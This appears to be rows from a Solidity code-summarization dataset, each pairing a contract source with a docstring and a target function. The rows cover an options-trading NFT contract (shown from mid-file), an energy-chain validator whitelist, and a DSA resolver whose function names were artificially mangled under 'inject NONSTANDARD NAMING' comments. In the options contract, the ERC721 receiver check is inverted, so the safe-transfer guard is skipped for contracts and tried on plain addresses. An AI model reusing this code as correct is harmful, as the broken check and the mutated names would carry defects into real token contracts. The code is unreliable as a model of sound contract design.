require(!option.premiumInfo.premiumRedeemed, "redeemPremium(): premium already redeemed");
if(option.cancelled || proposalExpired(optionUID)){
bool isBuyer = option.buyer == msg.sender;
require(isBuyer, "redeemPremium(): only buyer can redeem when proposal expired");
// Track premium redeemed
option.premiumInfo.premiumRedeemed = true;
// Transfer buyer's premium back to themself
EIP20Interface token = EIP20Interface(option.premiumInfo.premiumToken);
bool success = token.transfer(option.buyer, option.premiumInfo.premiumAmt);
require(success, "redeemPremium(): premium transfer failed");
emit BuyerPremiumRefunded(optionUID, msg.sender);
return;
}
// Only the seller may redeem the premium
bool isSeller = option.seller == msg.sender;
require(isSeller, "redeemPremium(): only option seller can redeem");
// Cannot redeem an option that hasn't been accepted
require(option.buyerAccepted && option.sellerAccepted, "redeemPremium(): option hasn't been accepted");
// Track premium redeemed
option.premiumInfo.premiumRedeemed = true;
// Update platform fee balances to include their split of the premium
platformFeeBalances[option.premiumInfo.premiumToken] = platformFeeBalances[option.premiumInfo.premiumToken].add(option.premiumInfo.premiumPlatformFee);
// Transfer seller's premium earned to themself
EIP20Interface token = EIP20Interface(option.premiumInfo.premiumToken);
bool success = token.transfer(option.seller, option.premiumInfo.sellerPremium);
require(success, "redeemPremium(): premium transfer failed");
emit SellerRedeemedPremium(optionUID, msg.sender);
}
/**
* @notice Status for whether time has expired for the option to be executed
*/
function optionExpired(uint optionUID) public view returns(bool) {
Option memory option = options[optionUID];
if (option.optionExpiresAt > now)
return false;
else
return true;
}
/**
* @notice Status for whether time has expired for the option proposal to be accepted
*/
function proposalExpired(uint optionUID) public view returns (bool) {
Option memory option = options[optionUID];
if (option.sellerAccepted && option.buyerAccepted)
return false;
if (option.proposalExpiresAt > now)
return false;
else
return true;
}
/**
* @notice Allow the seller to redeem their underlying if option goes unused (cancelled, proposal expired, option expired)
*/
function redeemUnderlying(uint optionUID) public {
Option storage option = options[optionUID];
// Must be seller to redeem underlying
bool isSeller = option.seller == msg.sender;
require(isSeller, "redeemUnderlying(): only seller may redeem");
require(!option.underlyingInfo.redeemed, "redeemUnderlying(): redeemed, nothing remaining to redeem");
require(!option.executed, "redeemUnderlying(): executed, nothing to redeem");
require(option.cancelled || optionExpired(optionUID) || proposalExpired(optionUID), "redeemUnderlying(): must be cancelled or expired to redeem");
// Mark as redeemed to ensure only gets redeemed once
option.underlyingInfo.redeemed = true;
emit SellerUnderlyingRedeemed(optionUID, msg.sender);
// Transfer underlying back to the seller
EIP20Interface token = EIP20Interface(option.underlyingInfo.underlyingCurrency);
bool success = token.transfer(option.seller, option.underlyingInfo.underlyingAmt);
require(success, "redeemUnderlying(): premium transfer failed");
}
/**
* @notice Allows buyer to transfer ownership of option to another user
*/
function transferSeller(uint optionUID, address newSeller) public {
Option storage option = options[optionUID];
// Only the seller may transfer an option
bool isSeller = option.seller == msg.sender;
require(isSeller, "transferSeller(): must be seller");
// Update option buyer
option.seller = newSeller;
userOptions[newSeller].push(optionUID);
emit TransferSeller(optionUID, msg.sender, newSeller);
}
/**
* @notice Buyer supplies strike amount from strike currency to receive underlying
*/
function execute(uint optionUID) public {
Option storage option = options[optionUID];
// Only the buyer may execute the option
bool isBuyer = option.buyer == msg.sender;
require(isBuyer, "execute(): Must be option owner");
// Nothing to execute w/o both accepting the option
require(option.buyerAccepted && option.sellerAccepted, "execute(): must be a fully accepted option");
// Cannot execute once expired
require(!optionExpired(optionUID), "execute(): option expired");
// Cannot execute more than once
require(!option.executed, "execute(): already executed");
// Mark as executed
option.executed = true;
// 1st Transfer the strike amount from the option buyer
EIP20Interface token = EIP20Interface(option.strikeCurrency);
bool success = token.transferFrom(option.buyer, address(this), option.strikeAmt);
require(success, "execute(): strike transfer failed");
// 2nd Transfer the strike amount to the option seller
success = token.transfer(option.seller, option.strikeAmt);
require(success, "execute(): strike transfer failed");
// 3rd Transfer the underlying to the option buyer
EIP20Interface tokenUnderlying = EIP20Interface(option.underlyingInfo.underlyingCurrency);
success = tokenUnderlying.transfer(option.buyer, option.underlyingInfo.underlyingAmt);
emit OptionExecuted(optionUID);
require(success, "execute(): underlying transfer failed");
}
/**
* @notice If buyer or seller sets status fields and transfers either the premium or underlying
*/
function accept(uint optionUID) public {
Option memory option = options[optionUID];
bool isSeller = option.seller == msg.sender || option.seller == address(0);
bool isBuyer = option.buyer == msg.sender || option.buyer == address(0);
require(isSeller || isBuyer, "accept(): Must either buyer or seller");
if (isBuyer){
_acceptBuyer(optionUID);
}
else if (isSeller) {
_acceptSeller(optionUID);
}
}
/**
* @notice If buyer or seller sets status fields and transfers either the premium or underlying
*/
function cancel(uint optionUID) public {
Option memory option = options[optionUID];
bool isSeller = option.seller == msg.sender;
bool isBuyer = option.buyer == msg.sender;
require(isSeller || isBuyer, "cancel(): only sellers and buyers can cancel");
if (isSeller) {
_cancelSeller(optionUID);
}
else if (isBuyer) {
_cancelBuyer(optionUID);
}
}
/**
* @notice Seller calls cancel before buyer accepts, returns underlying
*/
function _cancelSeller(uint optionUID) internal {
Option memory option = options[optionUID];
require(option.sellerAccepted, "_cancelSeller(): cannot cancel before accepting");
require(!option.buyerAccepted, "_cancelSeller(): already accepted");
require(!option.cancelled, "_cancelSeller(): already cancelled");
// Cancel the option
options[optionUID].cancelled = true;
emit SellerCancelled(optionUID, msg.sender);
// Redeem the underlying
redeemUnderlying(optionUID);
}
/**
* @notice Buyer calls cancel before buyer accepts, returns full premium no fees deducted
*/
function _cancelBuyer(uint optionUID) internal {
Option memory option = options[optionUID];
require(option.buyerAccepted, "_cancelBuyer(): cannot cancel before accepting");
require(!option.sellerAccepted, "_cancelBuyer(): already accepted");
require(!option.cancelled, "already cancelled");
// Cancel the option
options[optionUID].cancelled = true;
emit BuyerCancelled(optionUID, msg.sender);
// Return the buyers premium
redeemPremium(optionUID);
}
/**
* @notice Seller accepts option, transfers underlying amount, if buyer paid premium redeem it
*/
function _acceptSeller(uint optionUID) internal {
Option storage option = options[optionUID];
require(!option.sellerAccepted, "seller already accepted");
// Mark as seller accepted
option.sellerAccepted = true;
// transfer specified tokens
EIP20Interface token = EIP20Interface(option.underlyingInfo.underlyingCurrency);
bool success = token.transferFrom(msg.sender, address(this), option.underlyingInfo.underlyingAmt);
require(success, "_acceptSeller(): Failed to transfer underlying");
// Emit event
emit UnderlyingDeposited(optionUID, msg.sender, option.underlyingInfo.underlyingCurrency, option.underlyingInfo.underlyingAmt);
// If option seller was universal, set it to the sender
if (option.seller == address(0)) {
options[optionUID].seller = msg.sender;
}
userOptions[msg.sender].push(optionUID);
// If buyer already accepted, redeem premium
if (option.buyerAccepted) {
redeemPremium(optionUID);
}
emit SellerAccepted(optionUID, msg.sender);
}
/**
* @notice Buyer accepts option, transfers premium
*/
function _acceptBuyer(uint optionUID) internal {
Option storage option = options[optionUID];
require(!option.buyerAccepted, "buyer already accepted");
// Mark as buyer accepted
option.buyerAccepted = true;
// transfer specified premium
EIP20Interface token = EIP20Interface(option.premiumInfo.premiumToken);
bool success = token.transferFrom(msg.sender, address(this), option.premiumInfo.premiumAmt);
require(success, "Failed to transfer premium");
// If option buyer was universal, set it to the sender
if (option.buyer == address(0)) {
options[optionUID].buyer = msg.sender;
}
userOptions[msg.sender].push(optionUID);
emit PremiumDeposited(optionUID, msg.sender, option.premiumInfo.premiumToken, option.premiumInfo.premiumAmt);
emit BuyerAccepted(optionUID, msg.sender);
}
//------------------------
// Status functions
//------------------------
function canAccept(uint optionUID) public view returns(bool) {
Option memory option = options[optionUID];
return (!option.buyerAccepted || !option.sellerAccepted) && !proposalExpired(optionUID);
}
function canCancel(uint optionUID) public view returns(bool) {
Option memory option = options[optionUID];
return (!option.buyerAccepted || !option.sellerAccepted) && !proposalExpired(optionUID);
}
function canExecute(uint optionUID) public view returns(bool) {
Option memory option = options[optionUID];
return !option.executed && (option.buyerAccepted && option.sellerAccepted) && !optionExpired(optionUID);
}
function canRedeemPremium(uint optionUID) public view returns(bool) {
Option memory option = options[optionUID];
return (option.buyerAccepted && option.sellerAccepted) && !option.premiumInfo.premiumRedeemed;
}
function canRedeemUnderlying(uint optionUID) public view returns(bool) {
Option memory option = options[optionUID];
if (option.cancelled || optionExpired(optionUID) || proposalExpired(optionUID))
return !option.underlyingInfo.redeemed && !option.executed;
else
return false;
}
//------------------------
// NFT Functions
//------------------------
function balanceOf(address _owner) external view returns (uint256) {
uint count = 0;
for(uint i; i< options.length; i++) {
if(options[i].seller == _owner || options[i].buyer == _owner) {
if(options[i].sellerAccepted && options[i].buyerAccepted) {
count += 1;
}
}
}
return count;
}
function totalSupply() public view returns (uint256) {
uint count = 0;
for(uint i; i< options.length; i++) {
if(options[i].sellerAccepted && options[i].buyerAccepted) {
count += 1;
}
}
return count;
}
function baseTokenURI() public view returns (string memory) {
return "https://metadata.optionswap.finance/";
}
function tokenURI(uint256 tokenId) external view returns (string memory) {
require(_exists(tokenId), "ERC721Metadata: URI query for nonexistent token");
// If there is a baseURI but no tokenURI, concatenate the tokenID to the baseURI.
return string(abi.encodePacked(baseTokenURI(), tokenId.toString()));
}
function ownerOf(uint256 _tokenId) public view returns (address) {
Option memory option = options[_tokenId];
return option.buyer;
}
/**
* @dev See {IERC721-approve}.
*/
function approve(address to, uint256 tokenId) public {
address owner = ownerOf(tokenId);
require(to != owner, "ERC721: approval to current owner");
require(msg.sender == owner || isApprovedForAll(owner, msg.sender),
"ERC721: approve caller is not owner nor approved for all"
);
_approve(to, tokenId);
}
/**
* @dev See {IERC721-getApproved}.
*/
function getApproved(uint256 tokenId) public view returns (address) {
require(_exists(tokenId), "ERC721: approved query for nonexistent token");
return _tokenApprovals[tokenId];
}
/**
* @dev See {IERC721-setApprovalForAll}.
*/
function setApprovalForAll(address operator, bool approved) public {
require(operator != msg.sender, "ERC721: approve to caller");
_operatorApprovals[msg.sender][operator] = approved;
emit ApprovalForAll(msg.sender, operator, approved);
}
/**
* @dev See {IERC721-isApprovedForAll}.
*/
function isApprovedForAll(address owner, address operator) public view returns (bool) {
return _operatorApprovals[owner][operator];
}
/**
* @dev See {IERC721-transferFrom}.
*/
function transferFrom(address from, address to, uint256 tokenId) public {
//solhint-disable-next-line max-line-length
require(_isApprovedOrOwner(msg.sender, tokenId), "ERC721: transfer caller is not owner nor approved");
_transfer(from, to, tokenId);
}
/**
* @dev See {IERC721-safeTransferFrom}.
*/
function safeTransferFrom(address from, address to, uint256 tokenId) public {
safeTransferFrom(from, to, tokenId, "");
}
/**
* @dev See {IERC721-safeTransferFrom}.
*/
function safeTransferFrom(address from, address to, uint256 tokenId, bytes memory _data) public {
require(_isApprovedOrOwner(msg.sender, tokenId), "ERC721: transfer caller is not owner nor approved");
_safeTransfer(from, to, tokenId, _data);
}
/**
* @dev Safely transfers `tokenId` token from `from` to `to`, checking first that contract recipients
* are aware of the ERC721 protocol to prevent tokens from being forever locked.
*
* `_data` is additional data, it has no specified format and it is sent in call to `to`.
*
* This internal function is equivalent to {safeTransferFrom}, and can be used to e.g.
* implement alternative mechanisms to perform token transfer, such as signature-based.
*
* Requirements:
*
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
* - `tokenId` token must exist and be owned by `from`.
* - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer.
*
* Emits a {Transfer} event.
*/
function _safeTransfer(address from, address to, uint256 tokenId, bytes memory _data) internal {
_transfer(from, to, tokenId);
require(_checkOnERC721Received(from, to, tokenId, _data), "ERC721: transfer to non ERC721Receiver implementer");
}
/**
* @dev Returns whether `tokenId` exists.
*
* Tokens can be managed by their owner or approved accounts via {approve} or {setApprovalForAll}.
*
* Tokens start existing when they are minted (`_mint`),
* and stop existing when they are burned (`_burn`).
*/
function _exists(uint256 tokenId) internal view returns (bool) {
return options[tokenId].buyer != address(0);
}
/**
* @dev Returns whether `spender` is allowed to manage `tokenId`.
*
* Requirements:
*
* - `tokenId` must exist.
*/
function _isApprovedOrOwner(address spender, uint256 tokenId) internal view returns (bool) {
require(_exists(tokenId), "ERC721: operator query for nonexistent token");
address owner = ownerOf(tokenId);
return (spender == owner || getApproved(tokenId) == spender || isApprovedForAll(owner, spender));
}
/**
* @dev Transfers `tokenId` from `from` to `to`.
* As opposed to {transferFrom}, this imposes no restrictions on msg.sender.
*
* Requirements:
*
* - `to` cannot be the zero address.
* - `tokenId` token must be owned by `from`.
*
* Emits a {Transfer} event.
*/
function _transfer(address from, address to, uint256 tokenId) internal {
require(ownerOf(tokenId) == from, "ERC721: transfer of token that is not own");
require(to != address(0), "ERC721: transfer to the zero address");
_beforeTokenTransfer(from, to, tokenId);
// Clear approvals from the previous owner
_approve(address(0), tokenId);
Option storage option = options[tokenId];
option.buyer = to;
userOptions[to].push(tokenId);
emit Transfer(from, to, tokenId);
}
/**
* @dev Internal function to invoke {IERC721Receiver-onERC721Received} on a target address.
* The call is not executed if the target address is not a contract.
*
* @param from address representing the previous owner of the given token ID
* @param to target address that will receive the tokens
* @param tokenId uint256 ID of the token to be transferred
* @param _data bytes optional data to send along with the call
*/
function _checkOnERC721Received(address from, address to, uint256 tokenId, bytes memory _data)
private returns (bool)
{
bytes4 _ERC721_RECEIVED = 0x150b7a02;
if (to.isContract()) {
return true;
}
bytes memory returndata = to.functionCall(abi.encodeWithSelector(
IERC721Receiver(to).onERC721Received.selector,
msg.sender,
from,
tokenId,
_data
), "ERC721: transfer to non ERC721Receiver implementer");
bytes4 retval = abi.decode(returndata, (bytes4));
return (retval == _ERC721_RECEIVED);
}
function _approve(address to, uint256 tokenId) private {
_tokenApprovals[tokenId] = to;
emit Approval(ownerOf(tokenId), to, tokenId);
}
function _beforeTokenTransfer(address from, address to, uint256 tokenId) internal {}
//------------------------
// Lens functions
//------------------------
// Returns the options data for a given account
function optionsForAccount(address account) public view returns(uint[] memory) {
if (userOptions[account].length == 0) {
uint[] memory blank;
return blank;
}
return userOptions[account];
}
// Returns all the options
function getOptions() public view returns(Option[] memory) {
return options;
}
//------------------------
// Admin functions
//------------------------
// Updates the platform fee, only affects new options created
function __updateFee(uint newPlatformFee) public {
require(msg.sender == admin, "__updateFee(): must be admin");
platformFee = newPlatformFee;
}
function __redeemPlatformFee(uint amount, address tokenAddress) public {
require(msg.sender == admin, "__redeemPlatformFee(): must be admin");
require(platformFeeBalances[tokenAddress] >= amount, "__redeemPlatformFee(): requested redemption too large");
// Update total balance
platformFeeBalances[tokenAddress] = platformFeeBalances[tokenAddress].sub(amount);
// Perform transfer
EIP20Interface token = EIP20Interface(tokenAddress);
bool success = token.transfer(msg.sender, amount);
require(success, "Failed to transfer premium");
}
}
|
See {IERC721-approve}./
|
function approve(address to, uint256 tokenId) public {
address owner = ownerOf(tokenId);
require(to != owner, "ERC721: approval to current owner");
require(msg.sender == owner || isApprovedForAll(owner, msg.sender),
"ERC721: approve caller is not owner nor approved for all"
);
_approve(to, tokenId);
}
| 6,756,075 |
pragma solidity >= 0.5.11;
/**
* @title ChainValidator interface
* @author Jakub Fornadel
* @notice External chain validator contract, can be used for more sophisticated validation of new validators and transactors, e.g. custom min. required conditions,
* concrete users whitelisting, etc...
**/
interface ChainValidator {
/**
* @notice Validation function for new validators
*
* @param vesting How many tokens new validator wants to vest
* @param acc Account address of the validator
* @param mining Flag if validator is going to mine.
* mining == false in case validateNewValidator is called during vestInChain method
* mining == true in case validateNewValidator is called during startMining method
* @param actNumOfValidators How many active validators is currently in chain
**/
function validateNewValidator(uint256 vesting, address acc, bool mining, uint256 actNumOfValidators) external returns (bool);
/**
* @notice Validation function for new transactors
*
* @param deposit How many tokens new transactor wants to deposit
* @param acc Account address of the transactor
* @param actNumOfTransactors How many whitelisted transactors (their deposit balance >= min. required balance) is currently in chain
**/
function validateNewTransactor(uint256 deposit, address acc, uint256 actNumOfTransactors) external returns (bool);
}
/**
* @title EnergyChainValidator for Lition energy chain
* @author Jakub Fornadel
* @notice External chain validator contract with specific conditions tailored for Lition Energy chain
**/
contract EnergyChainValidator is ChainValidator {
/**************************************************************************************************************************/
/************************************************** Constants *************************************************************/
/**************************************************************************************************************************/
// Token precision. 1 LIT token = 1*10^18
uint256 constant LIT_PRECISION = 10**18;
// Min deposit value
uint256 constant MIN_DEPOSIT = 5000*LIT_PRECISION;
// Min vesting value
uint256 constant MIN_VESTING = 1000*LIT_PRECISION;
// Min vesting value
uint256 constant MAX_VESTING = 500000*LIT_PRECISION;
/**************************************************************************************************************************/
/*********************************** Structs and functions related to the list of users ***********************************/
/**************************************************************************************************************************/
// Iterable map that is used only together with the Users mapping as data holder
struct IterableMap {
// map of indexes to the list array
// indexes are shifted +1 compared to the real indexes of this list, because 0 means non-existing element
mapping(address => uint256) listIndex;
// list of addresses
address[] list;
}
// Adds acc from the map
function insertAcc(IterableMap storage map, address acc) internal {
map.list.push(acc);
// indexes are stored + 1
map.listIndex[acc] = map.list.length;
}
// Removes acc from the map
function removeAcc(IterableMap storage map, address acc) internal {
uint256 index = map.listIndex[acc];
require(index > 0 && index <= map.list.length, "RemoveAcc invalid index");
// Move an last element of array into the vacated key slot.
uint256 foundIndex = index - 1;
uint256 lastIndex = map.list.length - 1;
map.listIndex[map.list[lastIndex]] = foundIndex + 1;
map.list[foundIndex] = map.list[lastIndex];
map.list.length--;
// Deletes element
map.listIndex[acc] = 0;
}
// Returns true, if acc exists in the iterable map, otherwise false
function existAcc(IterableMap storage map, address acc) internal view returns (bool) {
return map.listIndex[acc] != 0;
}
/**************************************************************************************************************************/
/******************************************** Other structs and functions *************************************************/
/**************************************************************************************************************************/
// List of admins - they can add/remove whitelisted validators and users
IterableMap private admins;
// List of whitelisted users who can deposit
IterableMap private whitelistedUsers;
constructor() public {
insertAcc(admins, msg.sender);
}
/**************************************************************************************************************************/
/*********************************************** Contract Interface *******************************************************/
/**************************************************************************************************************************/
/**
* @notice Validation function for new validators. All validators with vesting in range <1000, 50000> LIT tokens are allowed
*
* @param vesting How many tokens new validator wants to vest
* @param acc Account address of the validator
* @param mining Flag if validator is going to mine.
* mining == false in case validateNewValidator is called during vestInChain method
* mining == true in case validateNewValidator is called during startMining method
* @param actNumOfValidators How many active validators is currently in chain
**/
function validateNewValidator(uint256 vesting, address acc, bool mining, uint256 actNumOfValidators) external returns (bool) {
if (vesting < MIN_VESTING || vesting > MAX_VESTING) {
return false;
}
return true;
}
/**
* @notice Validation function for new transactors. Only whitelisted accounts are allowed
*
* @param deposit How many tokens new transactor wants to deposit
* @param acc Account address of the transactor
* @param actNumOfTransactors How many whitelisted transactors (their deposit balance >= min. required balance) is currently in chain
**/
function validateNewTransactor(uint256 deposit, address acc, uint256 actNumOfTransactors) external returns (bool) {
if (existAcc(whitelistedUsers, acc) == true && deposit >= MIN_DEPOSIT) {
return true;
}
return false;
}
/**
* @notice Adds new whitelisted accounts that are allowed to transact on Lition energy chain
* Provided existing accounts are ignored
*
* @param accounts List of accounts
**/
function addWhitelistedUsers(address[] calldata accounts) external {
addUsers(whitelistedUsers, accounts);
}
/**
* @notice Removes existing whitelisted accounts that are allowed to transact on Lition energy chain.
* Provided non-existing accounts are ignored
*
* @param accounts List of accounts
**/
function removeWhitelistedUsers(address[] calldata accounts) external {
require(whitelistedUsers.list.length > 0, "There are no whitelisted users to be removed");
removeUsers(whitelistedUsers, accounts);
}
/**
* @notice Adds new admins that are allowed to add/remove whitelisted users
* Provided existing accounts are ignored*
* @param accounts List of accounts
**/
function addAdmins(address[] calldata accounts) external {
addUsers(admins, accounts);
}
/**
* @notice Removes existing admin that is allowed to add/remove whitelisted users.
* Provided account must exist as registered admin
*
* @param account List of accounts
**/
function removeAdmin(address account) external {
require(admins.list.length > 1, "Cannot remove all admins, at least one must be always present");
require(existAcc(admins, account) == true, "Trying to remove non-existing admin");
removeAcc(admins, account);
}
/**
* @notice Returns list of admins (their accounts)
*
* @param batch Batch number to be fetched. If the list is too big it cannot return all admins in one call. Instead, users are fetching batches of 100 account at a time
*
* @return accounts List(batch of 100) of account
* @return count How many accounts are returned in specified batch
* @return end Flag if there are no more accounts left. To get all accounts, caller should fetch all batches until he sees end == true
**/
function getAdmins(uint256 batch) external view returns (address[100] memory accounts, uint256 count, bool end) {
return getUsers(admins, batch);
}
/**
* @notice Returns list of whitelisted users (their accounts)
*
* @param batch Batch number to be fetched. If the list is too big it cannot return all admins in one call. Instead, users are fetching batches of 100 account at a time
*
* @return accounts List(batch of 100) of account
* @return count How many accounts are returned in specified batch
* @return end Flag if there are no more accounts left. To get all accounts, caller should fetch all batches until he sees end == true
**/
function getWhitelistedUsers(uint256 batch) external view returns (address[100] memory accounts, uint256 count, bool end) {
return getUsers(whitelistedUsers, batch);
}
/*************************************************************************************************************************/
/******************************************** Contract internal functions ************************************************/
/*************************************************************************************************************************/
// Returns list of suers users
function getUsers(IterableMap storage internalUsersGroup, uint256 batch) internal view returns (address[100] memory users, uint256 count, bool end) {
count = 0;
uint256 usersTotalCount = internalUsersGroup.list.length;
uint256 i;
for(i = batch * 100; i < (batch + 1)*100 && i < usersTotalCount; i++) {
users[count] = internalUsersGroup.list[i];
count++;
}
if (i >= usersTotalCount) {
end = true;
}
else {
end = false;
}
}
function addUsers(IterableMap storage internalUsersGroup, address[] memory users) internal {
require(existAcc(admins, msg.sender) == true, "Only admins can do internal changes");
require(users.length <= 100, "Max number of processed users is 100");
for (uint256 i = 0; i < users.length; i++) {
if (existAcc(internalUsersGroup, users[i]) == false) {
insertAcc(internalUsersGroup, users[i]);
}
}
}
function removeUsers(IterableMap storage internalUsersGroup, address[] memory users) internal {
require(existAcc(admins, msg.sender) == true, "Only admins can remove whitelisted users");
require(users.length <= 100, "Max number of processed users is 100");
for (uint256 i = 0; i < users.length; i++) {
if (existAcc(internalUsersGroup, users[i]) == true) {
removeAcc(internalUsersGroup, users[i]);
}
}
}
}
|
Removes existing whitelisted accounts that are allowed to transact on Lition energy chain. Provided non-existing accounts are ignored accounts List of accounts/
|
function removeWhitelistedUsers(address[] calldata accounts) external {
require(whitelistedUsers.list.length > 0, "There are no whitelisted users to be removed");
removeUsers(whitelistedUsers, accounts);
}
| 2,511,267 |
pragma solidity ^0.6.0;
pragma experimental ABIEncoderV2;
interface AccountInterface {
function ISAUTH768(address user) external view returns (bool); //inject NONSTANDARD NAMING
function SHEILD383() external view returns (bool); //inject NONSTANDARD NAMING
function VERSION240() external view returns (uint); //inject NONSTANDARD NAMING
}
interface ListInterface {
struct UserLink {
uint64 first;
uint64 last;
uint64 count;
}
struct UserList {
uint64 prev;
uint64 next;
}
struct AccountLink {
address first;
address last;
uint64 count;
}
struct AccountList {
address prev;
address next;
}
function ACCOUNTS436() external view returns (uint); //inject NONSTANDARD NAMING
function ACCOUNTID58(address) external view returns (uint64); //inject NONSTANDARD NAMING
function ACCOUNTADDR630(uint64) external view returns (address); //inject NONSTANDARD NAMING
function USERLINK309(address) external view returns (UserLink memory); //inject NONSTANDARD NAMING
function USERLIST982(address, uint64) external view returns (UserList memory); //inject NONSTANDARD NAMING
function ACCOUNTLINK485(uint64) external view returns (AccountLink memory); //inject NONSTANDARD NAMING
function ACCOUNTLIST101(uint64, address) external view returns (AccountList memory); //inject NONSTANDARD NAMING
}
interface IndexInterface {
function MASTER640() external view returns (address); //inject NONSTANDARD NAMING
function LIST592() external view returns (address); //inject NONSTANDARD NAMING
function CONNECTORS7(uint) external view returns (address); //inject NONSTANDARD NAMING
function ACCOUNT363(uint) external view returns (address); //inject NONSTANDARD NAMING
function CHECK929(uint) external view returns (address); //inject NONSTANDARD NAMING
function VERSIONCOUNT530() external view returns (uint); //inject NONSTANDARD NAMING
}
interface ConnectorsInterface {
struct List {
address prev;
address next;
}
function CHIEF335(address) external view returns (bool); //inject NONSTANDARD NAMING
function CONNECTORS7(address) external view returns (bool); //inject NONSTANDARD NAMING
function STATICCONNECTORS444(address) external view returns (bool); //inject NONSTANDARD NAMING
function CONNECTORARRAY96(uint) external view returns (address); //inject NONSTANDARD NAMING
function CONNECTORLENGTH479() external view returns (uint); //inject NONSTANDARD NAMING
function STATICCONNECTORARRAY158(uint) external view returns (address); //inject NONSTANDARD NAMING
function STATICCONNECTORLENGTH188() external view returns (uint); //inject NONSTANDARD NAMING
function CONNECTORCOUNT675() external view returns (uint); //inject NONSTANDARD NAMING
function ISCONNECTOR224(address[] calldata _connectors) external view returns (bool isOk); //inject NONSTANDARD NAMING
function ISSTATICCONNECTOR579(address[] calldata _connectors) external view returns (bool isOk); //inject NONSTANDARD NAMING
}
interface ConnectorInterface {
function NAME27() external view returns (string memory); //inject NONSTANDARD NAMING
}
contract Helpers {
address public index;
address public list;
address public connectors;
IndexInterface indexContract;
ListInterface listContract;
ConnectorsInterface connectorsContract;
}
contract AccountResolver is Helpers {
function GETID717(address account) public view returns(uint id){ //inject NONSTANDARD NAMING
return listContract.ACCOUNTID58(account);
}
function GETACCOUNT405(uint64 id) public view returns(address account){ //inject NONSTANDARD NAMING
return listContract.ACCOUNTADDR630(uint64(id));
}
function GETAUTHORITYIDS115(address authority) public view returns(uint64[] memory){ //inject NONSTANDARD NAMING
ListInterface.UserLink memory userLink = listContract.USERLINK309(authority);
uint64[] memory IDs = new uint64[](userLink.count);
uint64 id = userLink.first;
for (uint i = 0; i < userLink.count; i++) {
IDs[i] = id;
ListInterface.UserList memory userList = listContract.USERLIST982(authority, id);
id = userList.next;
}
return IDs;
}
function GETAUTHORITYACCOUNTS933(address authority) public view returns(address[] memory){ //inject NONSTANDARD NAMING
uint64[] memory IDs = GETAUTHORITYIDS115(authority);
address[] memory accounts = new address[](IDs.length);
for (uint i = 0; i < IDs.length; i++) {
accounts[i] = GETACCOUNT405(IDs[i]);
}
return accounts;
}
function GETIDAUTHORITIES487(uint id) public view returns(address[] memory){ //inject NONSTANDARD NAMING
ListInterface.AccountLink memory accountLink = listContract.ACCOUNTLINK485(uint64(id));
address[] memory authorities = new address[](accountLink.count);
address authority = accountLink.first;
for (uint i = 0; i < accountLink.count; i++) {
authorities[i] = authority;
ListInterface.AccountList memory accountList = listContract.ACCOUNTLIST101(uint64(id), authority);
authority = accountList.next;
}
return authorities;
}
function GETACCOUNTAUTHORITIES305(address account) public view returns(address[] memory){ //inject NONSTANDARD NAMING
return GETIDAUTHORITIES487(GETID717(account));
}
function GETACCOUNTVERSIONS313(address[] memory accounts) public view returns(uint[] memory) { //inject NONSTANDARD NAMING
uint[] memory versions = new uint[](accounts.length);
for (uint i = 0; i < accounts.length; i++) {
versions[i] = AccountInterface(accounts[i]).VERSION240();
}
return versions;
}
struct AuthorityData {
uint64[] IDs;
address[] accounts;
uint[] versions;
}
struct AccountData {
uint ID;
address account;
uint version;
address[] authorities;
}
function GETAUTHORITYDETAILS348(address authority) public view returns(AuthorityData memory){ //inject NONSTANDARD NAMING
address[] memory accounts = GETAUTHORITYACCOUNTS933(authority);
return AuthorityData(
GETAUTHORITYIDS115(authority),
accounts,
GETACCOUNTVERSIONS313(accounts)
);
}
function GETACCOUNTDETAILS682(uint id) public view returns(AccountData memory){ //inject NONSTANDARD NAMING
address account = GETACCOUNT405(uint64(id));
require(account != address(0), "no-account");
return AccountData(
id,
account,
AccountInterface(account).VERSION240(),
GETIDAUTHORITIES487(id)
);
}
function ISSHIELD75(address account) public view returns(bool shield) { //inject NONSTANDARD NAMING
shield = AccountInterface(account).SHEILD383();
}
}
contract ConnectorsResolver is AccountResolver {
struct ConnectorsData {
address connector;
uint connectorID;
string name;
}
function GETENABLEDCONNECTORS300() public view returns(address[] memory){ //inject NONSTANDARD NAMING
uint enabledCount = connectorsContract.CONNECTORCOUNT675();
address[] memory addresses = new address[](enabledCount);
uint connectorArrayLength = connectorsContract.CONNECTORLENGTH479();
uint count;
for (uint i = 0; i < connectorArrayLength ; i++) {
address connector = connectorsContract.CONNECTORARRAY96(i);
if (connectorsContract.CONNECTORS7(connector)) {
addresses[count] = connector;
count++;
}
}
return addresses;
}
function GETENABLEDCONNECTORSDATA82() public view returns(ConnectorsData[] memory){ //inject NONSTANDARD NAMING
uint enabledCount = connectorsContract.CONNECTORCOUNT675();
ConnectorsData[] memory connectorsData = new ConnectorsData[](enabledCount);
uint connectorArrayLength = connectorsContract.CONNECTORLENGTH479();
uint count;
for (uint i = 0; i < connectorArrayLength ; i++) {
address connector = connectorsContract.CONNECTORARRAY96(i);
if (connectorsContract.CONNECTORS7(connector)) {
connectorsData[count] = ConnectorsData(
connector,
i+1,
ConnectorInterface(connector).NAME27()
);
count++;
}
}
return connectorsData;
}
function GETSTATICCONNECTORS358() public view returns(address[] memory){ //inject NONSTANDARD NAMING
uint staticLength = connectorsContract.STATICCONNECTORLENGTH188();
address[] memory staticConnectorArray = new address[](staticLength);
for (uint i = 0; i < staticLength ; i++) {
staticConnectorArray[i] = connectorsContract.STATICCONNECTORARRAY158(i);
}
return staticConnectorArray;
}
function GETSTATICCONNECTORSDATA543() public view returns(ConnectorsData[] memory){ //inject NONSTANDARD NAMING
uint staticLength = connectorsContract.STATICCONNECTORLENGTH188();
ConnectorsData[] memory staticConnectorsData = new ConnectorsData[](staticLength);
for (uint i = 0; i < staticLength ; i++) {
address staticConnector = connectorsContract.STATICCONNECTORARRAY158(i);
staticConnectorsData[i] = ConnectorsData(
staticConnector,
i+1,
ConnectorInterface(staticConnector).NAME27()
);
}
return staticConnectorsData;
}
}
contract InstaDSAResolver is ConnectorsResolver {
string public constant name451 = "DSA-Resolver-v1"; //inject NONSTANDARD NAMING
uint public constant version931 = 1; //inject NONSTANDARD NAMING
constructor(address _index) public{
index = _index;
indexContract = IndexInterface(index);
list = indexContract.LIST592();
listContract = ListInterface(list);
connectors = indexContract.CONNECTORS7(version931);
connectorsContract = ConnectorsInterface(connectors);
}
}
|
inject NONSTANDARD NAMING
|
function GETAUTHORITYDETAILS348(address authority) public view returns(AuthorityData memory){
